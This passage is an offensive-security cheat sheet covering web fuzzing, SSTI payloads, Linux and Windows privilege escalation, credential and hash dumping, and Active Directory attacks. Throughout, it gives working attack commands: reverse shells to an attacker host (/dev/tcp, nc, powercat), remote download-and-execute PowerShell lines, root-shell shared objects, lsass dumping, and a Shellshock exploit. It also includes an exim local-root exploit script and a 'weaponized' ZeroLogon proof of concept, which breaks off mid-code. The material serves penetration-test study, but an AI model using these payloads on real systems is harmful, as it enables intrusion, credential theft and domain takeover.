> wpscan --url https://<RHOST> --disable-tls-checks --enumerate u,t,p
> wpscan --url http://<RHOST> -U <USERNAME> -P passwords.txt -t 50
> ```
>
> **WPScan**
>
> ```
> wfuzz -u 'http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline' -z range,900-1000
> ```
>
> **Enumerating PIDs**
>
> ```
> wfuzz -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt --hw 31 http://10.13.37.11/backups/backup_2021052315FUZZ.zip
> ```
>
> **Numbering Files**
>
> ```
> wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Origin: http://FUZZ.<RHOST>" --filter "r.headers.response~'Access-Control-Allow-Origin'" http://<RHOST>/
> wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,404,403 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -t 100
> wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,403,404 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> --hw <value> -t 100
> ```
>
> **DNS**
>
> ```
> wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/SQLi/Generic-SQLi.txt -d 'db=FUZZ' --hl 16 http://<RHOST>/select http
> ```
>
> **SQL**
>
> ```
> wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "email=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --hc 200 -c
> wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "username=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --ss "Invalid login"
> ```
>
> **Login**
>
> ```
> wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://<RHOST>/FUZZ --hc 403,404
> ```
>
> **Git**
>
> ```
> wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.<RHOST>" --hc 200 --hw 356 -t 100 <RHOST>
> ```
>
> **Subdomain**
>
> ```
> wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.<RHOST>' -u http://<RHOST>/
> ```
>
> **Domain**
>
> ```
> wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>:/<directory>/FUZZ.FUZ2Z -z list,txt-php --hc 403,404 -c
> ```
>
> **Fuzzing two Parameters at once**
>
> ```
> wfuzz -w /PATH/TO/WORDLIST -u http://<RHOST>/dev/304c0c90fbc6520610abbf378e2339d1/db/file_FUZZ.txt --sc 200 -t 20
> ```
>
> **Custom Scan with limited Output**
>
> ```
> wfuzz -w /PATH/TO/WORDLIST -c -f <FILE> -u http://<RHOST> --hc 403,404
> ```
>
> **Write to File**
>
> ```
> wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt -u http://<RHOST>/FUZZ/<FILE>.php --hc '403,404'
> ```
>
> **wfuzz**
>
> ```
> ASP / ASPX / PHP / PHP3 / PHP5: Webshell / Remote Code Execution
> SVG: Stored XSS / Server-Side Request Forgery
> GIF: Stored XSS
> CSV: CSV Injection
> XML: XXE
> AVI: Local File Inclusion / Server-Side request Forgery
> HTML/JS: HTML Injection / XSS / Open Redirect
> PNG / JPEG: Pixel Flood Attack
> ZIP: Remote Code Exection via Local File Inclusion
> PDF / PPTX: Server-Side Request Forgery / Blind XXE
> ```
>
> **Upload Vulnerabilities**
>
> ```
> {{ ‘’.__class__.__mro__[1].__subclasses__() }}
> ```
>
> > <https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee>
>
> **Magic Payload**
>
> ```
> ${{<%[%'"}}%\.
> ```
>
> > <https://cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti>
>
> <br>
>
> ```
> aria2c -d /root/.ssh/ -o authorized_keys "http://<LHOST>/authorized_keys" --allow-overwrite=true
> ```
>
> **Bash Debugging Mode**
>
> * Bash <4.4
>
> ```
> env -i SHELLOPTS=xtrace PS4='$(chmod +s /bin/bash)' /usr/local/bin/<BINARY>
> ```
>
> **Bash Functions**
>
> * Bash <4.2-048
>
> ```
> function /usr/sbin/<BINARY> { /bin/bash -p; }
> export -f /usr/sbin/<BINARY>
> /usr/sbin/<BINARY>
> ```
>
> **LD\_PRELOAD**
>
> > <https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/>
>
> **shell.c**
>
> ```
> #include <stdio.h>
> #include <sys/types.h>
> #include <stdlib.h>
>
> void _init() {
> 	unsetenv("LD_PRELOAD");
> 	setresuid(0,0,0);
> 	system("/bin/bash -p");
> }
> ```
>
> or
>
> ```
> #include <stdio.h>
> #include <sys/types.h>
> #include <stdlib.h>
> void _init() {
> unsetenv("LD_PRELOAD");
> setgid(0);
> setuid(0);
> system("/bin/sh");
> }
> ```
>
> **Compiling**
>
> ```
> gcc -o <SHARED_OBJECT>.so <FILE>.c -shared -FPIC -nostartfiles 
> ```
>
> **Privilege Escalation**
>
> ```
> sudo LD_PRELOAD=/PATH/TO/SHARED_OBJECT/<SHARED_OBJECT>.so <BINARY>
> ```
>
> **LD\_LIBRARY\_PATH**
>
> **Get Information about Libraries**
>
> ```
> ldd /PATH/TO/BINARY/<BINARY>
> ```
>
> **shell.c**
>
> ```
> #include <stdio.h>
> #include <stdlib.h>
>
> static void hijack() __attribute__((constructor));
>
> void hijack() {
> 	unsetenv("LD_LIBRARY_PATH");
> 	setresuid(0,0,0);
> 	system("/bin/bash -p");
> }
> ```
>
> **Compiling**
>
> ```
> gcc -o <LIBRARY>.so.<NUMBER> -shared -fPIC <FILE>.c
> ```
>
> **Privilege Escalation**
>
> ```
> sudo LD_LIBRARY_PATH=/PATH/TO/LIBRARY/<LIBRARY>.so.<NUMBER> <BINARY>
> ```
>
> **logrotten**
>
> > <https://github.com/whotwagner/logrotten>
>
> ```
> if [ `id -u` -eq 0 ]; then ( /bin/sh -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 ); fi
> ```
>
> **If "create"-option is set in logrotate.cfg**
>
> ```
> ./logrotten -p ./payloadfile /tmp/log/pwnme.log
> ```
>
> **If "compress"-option is set in logrotate.cfg**
>
> ```
> ./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
> ```
>
> **Path Variable Hijacking**
>
> ```
> find / -perm -u=s -type f 2>/dev/null
> find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
> export PATH=$(pwd):$PATH
> ```
>
> **PHP7.2**
>
> ```
> /usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"
> ```
>
> **relayd**
>
> The binary need to have the `SUID` bit set.
>
> ```
> /usr/sbin/relayd -C /etc/shadow
> ```
>
> **Shared Library Misconfiguration**
>
> > <https://tbhaxor.com/exploiting-shared-library-misconfigurations/>
>
> **shell.c**
>
> ```
> #include <stdlib.h>
> #include <unistd.h>
>
> void _init() {
>     setuid(0);
>     setgid(0);
>     system("/bin/bash -i");
> }
> ```
>
> **Compiling**
>
> ```
> gcc -shared -fPIC -nostartfiles -o <FILE>.so <FILE>.c
> ```
>
> **Wildcards**
>
> > <https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt>
>
> With the command `touch -- --checkpoint=1` will be a file created. Why? Because the `--` behind the command `touch` is telling touch, that there's option to be wait for. Instead of an option, it creates a file, named `--checkpoint=1`.
>
> ```
> touch -- --checkpoint=1
> ```
>
> or
>
> ```
> touch ./--checkpoint=1
> ```
>
> So after creating the `--checkpoint=1` file, i created another file, which executes a shell script.
>
> ```
> touch -- '--checkpoint-action=exec=sh shell.sh'
> ```
>
> or
>
> ```
> touch ./--checkpoint-action=exec=<FILE>
> ```
>
> To delete a misconfigured file, put a `./` in front of it.
>
> ```
> rm ./'--checkpoint-action=exec=python script.sh'
> ```
>
> **Writeable Directories in Linux**
>
> ```
> /dev/shm
> /tmp
> ```
>
> **Microsoft Windows**
>
> **Basic Windows Enumeration**
>
> ```
> systeminfo
> whoami /all
> net users
> net users <USERNAME>
> tasklist /SVC
> sc query
> sc qc <SERVICE>
> netsh firewall show state
> schtasks /query /fo LIST /v
> findstr /si password *.xml *.ini *.txt
> dir /s *pass* == *cred* == *vnc* == *.config*
> accesschk.exe -uws "Everyone" "C:\Program Files\"
> wmic qfe get Caption,Description,HotFixID,InstalledOn
> driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path
> ```
>
> **AppLocker Bypass List**
>
> ```
> Bypass List (Windows 10 Build 1803):
> C:\Windows\Tasks
> C:\Windows\Temp
> C:\Windows\tracing
> C:\Windows\Registration\CRMLog
> C:\Windows\System32\FxsTmp
> C:\Windows\System32\com\dmp
> C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
> C:\Windows\System32\spool\PRINTERS
> C:\Windows\System32\spool\SERVERS
> C:\Windows\System32\spool\drivers\color
> C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
> C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
> C:\Windows\SysWOW64\FxsTmp
> C:\Windows\SysWOW64\com\dmp
> C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
> C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
> ```
>
> **accesschk**
>
> **Checking File Permissions**
>
> ```
> .\accesschk.exe /accepteula -quvw "C:\PATH\TO\FILE\<FILE>.exe"
> ```
>
> **Checking Service Permissions**
>
> ```
> .\accesschk.exe /accepteula -uwcqv <USERNAME> daclsvc
> ```
>
> **Checking Path Permissions to find Unquoted Service Paths**
>
> ```
> .\accesschk.exe /accepteula -uwdq C:\
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\<UNQUOTED_SERVICE_PATH>"
> ```
>
> **Checking Registry Entries**
>
> ```
> .\accesschk.exe /accepteula -uvwqk <REGISTRY_KEY>
> ```
>
> **Adding Users to Groups**
>
> ```
> net user <USERNAME> <PASSWORD> /add /domain
> net group "Exchange Windows Permissions" /add <USERNAME>
> net localgroup "Remote Management Users" /add <USERNAME>
> ```
>
> **Enable Remote Desktop (RDP)**
>
> ```
> reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
> netsh advfirewall firewall set rule group="remote desktop" new enable=yes
> ```
>
> or
>
> ```
> Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0;
> Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1;
> Enable-NetFirewallRule -DisplayGroup "Remote Desktop";
> ```
>
> **Privileges and Permissions**
>
> **AlwaysInstallElevated**
>
> ```
> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
> reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
> ```
>
> ```
> msfvenom -p windows/meterpreter/reverse_tcp lhost=<LHOST> lport=<LPORT> -f msi > <FILE>.msi
> ```
>
> ```
> msiexec /quiet /qn /i <FILE>.msi
> ```
>
> **SeBackup and SeRestore Privilege**
>
> **Backup SAM and SYSTEM Hashes**
>
> ```
> reg save hklm\system C:\Users\<USERNAME>\system.hive
> reg save hklm\sam C:\Users\<USERNAME>\sam.hive
> ```
>
> **Dumping Hashes**
>
> ```
> impacket-secretsdump -sam sam.hive -system system.hive LOCAL
> ```
>
> **SeBackupPrivilege Privilege Escalation (diskshadow)**
>
> > <https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug>
>
> **Script for PowerShell Environment**
>
> ```
> SET CONTEXT PERSISTENT NOWRITERSp
> add volume c: alias foobarp
> createp
> expose %foobar% z:p
> ```
>
> ```
> diskshadow /s <FILE>.txt
> ```
>
> **Copy ntds.dit**
>
> ```
> Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ndts.dit
> ```
>
> **Export System Registry Value**
>
> ```
> reg save HKLM\SYSTEM c:\temp\system
> ```
>
> **Extract the Hashes**
>
> ```
> impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
> ```
>
> **Alternative Way via Robocopy**
>
> ```
> reg save hklm\sam C:\temp\sam
> reg save hklm\system C:\temp\system
> ```
>
> ```
> set metadata C:\Windows\temp\meta.cabX
> set context clientaccessibleX
> set context persistentX
> begin backupX
> add volume C: alias cdriveX
> createX
> expose %cdrive% E:X
> end backupX
> ```
>
> ```
> diskshadow /s script.txt
> robocopy /b E:\Windows\ntds . ntds.dit
> ```
>
> ```
> impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
> ```
>
> **SeTakeOwnership Privilege**
>
> ```
> takeown /f C:\Windows\System32\Utilman.exe
> ```
>
> ```
> icacls C:\Windows\System32\Utilman.exe /grant Everyone:F
> ```
>
> ```
> C:\Windows\System32\> copy cmd.exe utilman.exe
> ```
>
> Click the `Ease of Access` button on the logon screen to get a shell with `NT Authority\System` privileges.
>
> **SeImpersonate and SeAssignPrimaryToken Privilege**
>
> > <https://github.com/antonioCoco/RogueWinRM>
>
> ```
> .\RogueWinRM.exe -p "C:\> .\nc64.exe" -a "-e cmd.exe <LHOST> <LPORT>"
> ```
>
> **Registry Handling**
>
> **Enable Colored Output**
>
> ```
> reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
> ```
>
> Then open a new Terminal Window.
>
> **Check for Auto Run Programs**
>
> ```
> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
> ```
>
> **Get Registry Key Information**
>
> ```
> req query <REGISTRY_KEY>
> ```
>
> **Modify Registry Key**
>
> ```
> reg add <REGISTRY_KEY> /v <VALUE_TO_MODIFY> /t REG_EXPAND_SZ /d C:\PATH\TO\FILE\<FILE>.exe /f
> ```
>
> **Searching for Credentials**
>
> **Quick Wins**
>
> > <https://twitter.com/NinjaParanoid/status/1516442028963659777?t=g7ed0vt6ER8nS75qd-g0sQ&s=09>
>
> > <https://www.nirsoft.net/utils/credentials_file_view.html>
>
> ```
> cmdkey /list
> rundll32 keymgr.dll, KRShowKeyMgr
> type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
> reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s
> ```
>
> **Search for Passwords**
>
> ```
> dir .s *pass* == *.config
> findstr /si password *.xml *.ini *.txt
> ```
>
> **PowerShell History**
>
> ```
> type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
> ```
>
> **Saved Windows Credentials**
>
> ```
> cmdkey /list
> runas /savecred /user:<USERNAME> cmd.exe
> ```
>
> **Search the Registry for Passwords**
>
> ```
> reg query HKLM /f password /t REG_SZ /s
> reg query HKCU /f password /t REG_SZ /s
> ```
>
> **Dumping Credentials**
>
> ```
> reg save hklm\system system
> reg save hklm\sam sam
> reg.exe save hklm\sam c:\temp\sam.save
> reg.exe save hklm\security c:\temp\security.save
> reg.exe save hklm\system c:\temp\system.save
> ```
>
> **Internet Information Service (IIS)**
>
> ```
> C:\Windows\System32\inetsrv>appcmd.exe list apppool /@:*
> type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
> ```
>
> **PuTTY**
>
> ```
> reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s
> ```
>
> **Lsass**
>
> ```
> tasklist
> rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 688 C:\Users\Administrator\Documents\lsass.dmp full
> ```
>
> **Unattended Windows Installations**
>
> ```
> C:\Unattend.xml
> C:\Windows\Panther\Unattend.xml
> C:\Windows\Panther\Unattend\Unattend.xml
> C:\Windows\system32\sysprep.inf
> C:\Windows\system32\sysprep\sysprep.xml
> ```
>
> **Insecure Service Permissions**
>
> ```
> accesschk64.exe -qlc <SERVICE>
> icacls C:\Users\<USERNAME>\<FILE>.exe /grant Everyone:F
> sc config <SERVICE> binPath= "C:\Users\<USERNAME>\<FILE>.exe" obj= LocalSystem
> sc stop <SERVICE>
> sc start <SERVICE>
> ```
>
> **Service Handling**
>
> ```
> sc create <SERVICE_NAME>
> sc start <SERVICE_NAME>
> sc qc <SERVICE_NAME>
> ```
>
> **Scheduled Tasks**
>
> ```
> schtasks
> schtasks /query /tn <TASK> /fo list /v
> schtasks /run /tn <TASK>
> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
> ```
>
> **Unquoted Service Paths**
>
> Search for `Unquoted Service Paths` by using `sc qc`.
>
> ```
> sc qc
> sc qc <SERVICE>
> sc stop <SERVICE>
> sc start <SERVICE>
> ```
>
> ```
> icacls <PROGRAM>.exe
> icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe
> icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe /grant Everyone:F
> ```
>
> **writeDACL**
>
> > <https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/>
>
> ```
> $SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
> $Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $SecPassword)
> Add-ObjectACL -PrincipalIdentity <USERNAME> -Credential $Cred -Rights DCSync
> ```
>
> **WMIC**
>
> ```
> wmic product get name,version,vendor
> wmic qfe get Caption,Description,HotFixID,InstalledOn    # no new patches - KEXP pretty likely
> ```
>
> **PassTheCert**
>
> > <https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html>
>
> > <https://github.com/AlmondOffSec/PassTheCert/tree/main/Python>
>
> ```
> certipy-ad cert -pfx <CERTIFICATE>.pfx -nokey -out <CERTIFICATE>.crt
> certipy-ad cert -pfx <CERTIFICATE>.pfx -nocert -out <CERTIFICATE>.key
> python3 passthecert.py -domain '<DOMAIN>' -dc-host '<DOMAIN>' -action 'modify_user' -target '<USERNAME>' -new-pass '<PASSWORD>' -crt ./<CERTIFICATE>.crt -key ./<CERTIFICATE>.key
> evil-winrm -i '<RHOST>' -u '<USERNAME>' -p '<PASSWORD>'
> ```
>
> **PKINITtools**
>
> ```
> python3 gettgtpkinit.py -cert-pfx <USERNAME>.pfx -dc-ip <RHOST> <DOMAIN>/<USERNAME> <USERNAME>.ccache
> export KRB5CCNAME=<USERNAME>.ccache
> python3 getnthash.py <DOMAIN>/<USERNAME> -key 6617cde50b7ee63faeb6790e84981c746efa66f68a1cc3a394bbd27dceaf0554
> ```
>
> **Port Scanning**
>
> ```
> export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; done
> ```
>
> **powercat**
>
> ```
> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1');powercat -c <LHOST> -p <LPORT> -e cmd"
> ```
>
> **Powermad**
>
> ```
> Import-Module ./Powermad.ps1
> $secureString = convertto-securestring "<PASSWORD>" -asplaintext -force
> New-MachineAccount -MachineAccount <NAME> -Domain <DOMAIN> -DomainController <DOMAIN> -Password $secureString
> ```
>
> **PowerShell**
>
> **Common Commands**
>
> ```
> whoami /all
> getuserid
> systeminfo
> Get-Process
> net users
> net users <USERNAME>
> Get-ADUser -Filter * -SearchBase "DC=<DOMAIN>,DC=LOCAL"
> Get-Content <FILE>
> Get-ChildItem . -Force
> GCI -hidden
> type <FILE> | findstr /l <STRING>
> [convert]::ToBase64String((Get-Content -path "<FILE>" -Encoding byte))
> ```
>
> **Allow Script Execution**
>
> ```
> Set-ExecutionPolicy remotesigned
> Set-ExecutionPolicy unrestricted
> ```
>
> **Script Execution Bypass**
>
> ```
> powershell.exe -noprofile -executionpolicy bypass -file .\<FILE>.ps1
> ```
>
> **Import Module to PowerShell cmdlet**
>
> ```
> Import-Module .\<FILE>
> ```
>
> **Check PowerShell Versions**
>
> ```
> Set-ExecutionPolicy Unrestricted
> powershell -Command "$PSVersionTable.PSVersion"
> powershell -c "[Environment]::Is64BitProcess"
> ```
>
> **Read PowerShell History**
>
> ```
> type C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
> ```
>
> **Create a .zip File**
>
> ```
> Compress-Archive -LiteralPath C:\PATH\TO\FOLDER\<FOLDER> -DestinationPath C:\PATH\TO\FILE<FILE>.zip
> ```
>
> **Unzip a File**
>
> ```
> Expand-Archive -Force <FILE>.zip
> ```
>
> **Start a new Process**
>
> ```
> Start-Process -FilePath "C:\nc64.exe" -ArgumentList "<LHOST> <LPORT> -e powershell"
> ```
>
> **Invoke-Expression / Invoke-WebRequest**
>
> ```
> IEX(IWR http://<LHOST>/<FILE>.ps1)
> Invoke-Expression (Invoke-WebRequest http://<LHOST/<FILE>.ps1)
> ```
>
> **.NET Reflection**
>
> ```
> $bytes = (Invoke-WebRequest "http://<LHOST>/<FILE>.exe" -UseBasicParsing ).Content
> $assembly = [System.Reflection.Assembly]::Load($bytes)
> $entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')
> $entryPointMethod.Invoke($null, (, [string[]] ('find', '/<COMMAND>')))
> ```
>
> **Start offsec Session**
>
> ```
> $offsec_session = New-PSSession -ComputerName <RHOST> -Authentication Negotiate -Credential <USERNAME>
> Enter-PSSession $offsec_session
> ```
>
> **Execute Command as another User**
>
> ```
> $SecurePassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
> $Cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $SecurePassword)
> $Session = New-PSSession -Credential $Cred
> Invoke-Command -Session $session -scriptblock { whoami }
> ```
>
> or
>
> ```
> $username = '<USERNAME>'
> $password = '<PASSWORD>'
> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
> Start-Process powershell.exe -Credential $credential
> ```
>
> ```
> powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"
> ```
>
> **Add new Domain Administrator**
>
> ```
> $PASSWORD= ConvertTo-SecureString –AsPlainText -Force -String <PASSWORD>
> New-ADUser -Name "<USERNAME>" -Description "<DESCRIPTION>" -Enabled $true -AccountPassword $PASSWORD
> Add-ADGroupMember -Identity "Domain Admins" -Member <USERNAME>
> ```
>
> **Execute Commands in User Context**
>
> ```
> $pass = ConvertTo-SecureString "<PASSWORD>" -AsPlaintext -Force
> $cred = New-Object System.Management.Automation.PSCredential ("<DOMAIN>\<USERNAME>", $pass)
> Invoke-Command -computername <COMPUTERNAME> -ConfigurationName dc_manage -credential $cred -command {whoami}
> ```
>
> **Execute Scripts with Credentials (Reverse Shell)**
>
> ```
> $pass = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
> $cred = New-Object System.Management.Automation.PSCredential("<DOMAIN>\<USERNAME>", $pass)
> Invoke-Command -Computer <RHOST> -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://<LHOST>/<FILE>.ps1') } -Credential $cred
> ```
>
> **pwncat**
>
> ```
> (local) pwncat$ back    // get back to shell
> Ctrl+d                  // get back to pwncat shell
> ```
>
> ```
> pwncat-cs -lp <LPORT>
> (local) pwncat$ download /PATH/TO/FILE/<FILE> .
> (local) pwncat$ upload /PATH/TO/FILE/<FILE> /PATH/TO/FILE/<FILE>
> ```
>
> **rpcclient**
>
> ```
> rpcclient -U "" <RHOST>
> ```
>
> ```
> dsr_getdcname
> dsr_getdcnameex
> dsr_getdcnameex2
> dsr_getsitename
> enumdata
> enumdomgroups
> enumdomusers
> enumjobs
> enumports
> enumprivs
> getanydcname
> getdcname
> lookupsids
> lsaenumsid <SID>
> lsaquery
> netconnenum
> netdiskenum
> netfileenum
> netsessenum
> netshareenum
> netshareenumall
> netsharegetinfo
> queryuser <USERNAME>
> srvinfo
> ```
>
> **Rubeus**
>
> **Overpass the Hash**
>
> ```
> .\Rubeus.exe kerberoast /user:<USERNAME>
> ```
>
> **Pass the Hash**
>
> ```
> .\Rubeus.exe asktgt /user:Administrator /certificate:7F052EB0D5D122CEF162FAE8233D6A0ED73ADA2E /getcredentials
> ```
>
> **RunasCs**
>
> ```
> ./RunasCs.exe -l 3 -d <DOMAIN> "<USERNAME>" '<PASSWORD>' 'C:\Users\<USERNAME>\Downloads\<FILE>.exe'
> ./RunasCs.exe -d <DOMAIN> "<USERNAME>" '<PASSWORD>' cmd.exe -r <LHOST>:<LPORT>
> ```
>
> **smbpasswd**
>
> ```
> smbpasswd -U <RHOST>\<USERNAME> -r <RHOST>
> ```
>
> **winexe**
>
> ```
> winexe -U '<USERNAME%PASSWORD>' //<RHOST> cmd.exe
> winexe -U '<USERNAME%PASSWORD>' --system //<RHOST> cmd.exe
> ```
>
> #### CVE
>
> **CVE-2014-6271: Shellshock RCE PoC**
>
> ```
> curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' http://<RHOST>/cgi-bin/user.sh
> ```
>
> **CVE-2016-1531: exim LPE**
>
> * exim version <= 4.84-3
>
> ```
> #!/bin/sh
> # CVE-2016-1531 exim <= 4.84-3 local root exploit
> # ===============================================
> # you can write files as root or force a perl module to
> # load by manipulating the perl environment and running
> # exim with the "perl_startup" arguement -ps. 
> #
> # e.g.
> # [fantastic@localhost tmp]$ ./cve-2016-1531.sh 
> # [ CVE-2016-1531 local root exploit
> # sh-4.3# id
> # uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
> # 
> # -- Hacker Fantastic 
> echo [ CVE-2016-1531 local root exploit
> cat > /tmp/root.pm << EOF
> package root;
> use strict;
> use warnings;
>
> system("/bin/sh");
> EOF
> PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
> ```
>
> **CVE-2019-14287: Sudo Bypass**
>
> > <https://www.exploit-db.com/exploits/47502>
>
> **Prerequisites**
>
> * Sudo version < 1.8.28
>
> **Exploitation**
>
> ```
> !root:
> sudo -u#-1 /bin/bash
> ```
>
> **CVE-2020-1472: ZeroLogon PE**
>
> > <https://github.com/SecuraBV/CVE-2020-1472>
>
> > <https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py>
>
> **Prerequisites**
>
> ```
> python3 -m pip install virtualenv
> python3 -m virtualenv venv
> source venv/bin/activate
> pip install git+https://github.com/SecureAuthCorp/impacket
> ```
>
> **PoC Modification**
>
> ```
>     newPassRequest = nrpc.NetrServerPasswordSet2()
>     newPassRequest['PrimaryName'] = dc_handle + '\x00'
>     newPassRequest['AccountName'] = target_computer + '$\x00'
>     newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
>     auth = nrpc.NETLOGON_AUTHENTICATOR()
>     auth['Credential'] = b'\x00' * 8
>     auth['Timestamp'] = 0
>     newPassRequest['Authenticator'] = auth
>     newPassRequest['ComputerName'] = target_computer + '\x00'
>     newPassRequest['ClearNewPassword'] =  b'\x00' * 516
>     rpc_con.request(newPassRequest)
> ```
>
> **Weaponized PoC**
>
> ```
> #!/usr/bin/env python3
>
> from impacket.dcerpc.v5 import nrpc, epm
> from impacket.dcerpc.v5.dtypes import NULL
> from impacket.dcerpc.v5 import transport
> from impacket import crypto
>
> import hmac, hashlib, struct, sys, socket, time
> from binascii import hexlify, unhexlify
> from subprocess import check_call
>
> # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
> MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
>
> def fail(msg):
>   print(msg, file=sys.stderr)
>   print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
>   sys.exit(2)
>
> def try_zero_authenticate(dc_handle, dc_ip, target_computer):
>   # Connect to the DC's Netlogon service.
>   binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
>   rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
>   rpc_con.connect()
>   rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
>
>   # Use an all-zero challenge and credential.
>   plaintext = b'\x00' * 8
>   ciphertext = b'\x00' * 8
>
>   # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. 
>   flags = 0x212fffff
>
>   # Send challenge and authentication request.
>   nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
>   try:
>     server_auth = nrpc.hNetrServerAuthenticate3(
>       rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
>       target_computer + '\x00', ciphertext, flags
>     )
>
>     
>     # It worked!
>     assert server_auth['ErrorCode'] == 0
>     newPassRequest = nrpc.NetrServerPasswordSet2()
>     newPassRequest['PrimaryName'] = dc_handle + '\x00'
>     newPassRequest['AccountName'] = target_computer + '$\x00'
>     newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
>     auth = nrpc.NETLOGON_AUTHENTICATOR()
